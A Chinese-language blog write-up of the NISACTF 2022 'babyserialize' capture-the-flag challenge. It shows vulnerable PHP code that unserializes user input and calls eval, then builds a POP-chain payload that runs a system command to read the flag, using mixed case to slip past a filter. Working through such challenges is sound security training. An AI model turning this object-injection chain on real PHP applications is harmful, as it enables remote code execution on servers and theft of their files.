[NISACTF 2022]babyserialize
<?php include "waf.php"; class NISA{ public $fun="show_me_flag"; public $txw4ever; public function __wakeup() { if($this->fun=="show_me_flag"){ hint(); } } function __call($from,$val){ $this->fun=$val[0]; } public function __toString() { echo $this->fun; return " "; } public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); } } class TianXiWei{ public $ext; public $x; public function __wakeup() { $this->ext->nisa($this->x); } } class Ilovetxw{ public $huang; public $su; public function __call($fun1,$arg){ $this->huang->fun=$arg[0]; } public function __toString(){ $bb = $this->su; return $bb(); } } class four{ public $a="TXW4EVER"; private $fun='abc'; public function __set($name, $value) { $this->$name=$value; if ($this->fun = "sixsixsix"){ strtolower($this->a);//当我们让a为类的对象时,因为strtolower会把对象当作字符串,所以会调用__toString } } } if(isset($_GET['ser'])){ @unserialize($_GET['ser']); }else{ highlight_file(__FILE__); } //func checkcheck($data){ // if(preg_match(......)){ // die(something wrong); // } //} //function hint(){ // echo "......."; // die(); //} ?>
先看题,
public function __invoke() { checkcheck($this->txw4ever); @eval($this->txw4ever); }
在NISA类invoke方法中找到了eval函数,这里就是我们可以进行利用的地方。
我们的思路是从后往前推。
首先从NISA.invoke推到Ilovetwx.tostring再到four.set到Ilovetwx.call最后到TianXiWei.wakeup,所以我们pop链的顺序就知道了。
这里waf可以通过大小写绕过。
构造如下:
<?php class NISA{ public $fun="sho"; public $txw4ever="System('tac /f*');"; } class TianXiWei{ public $ext; public $x; } class Ilovetxw{ public $huang; public $su; } class four{ public $a="TXW4EVER"; private $fun='abc'; } $a=new TianXiWei; $a->ext=new Ilovetxw; $a->ext->huang=new four; $a->ext->huang->a=new Ilovetxw; $a->ext->huang->a->su=new NISA; echo urlencode(serialize($a)); ?>
标签:__,function,huang,ext,babyserialize,2022,fun,NISACTF,public From: https://www.cnblogs.com/kode00/p/17294663.html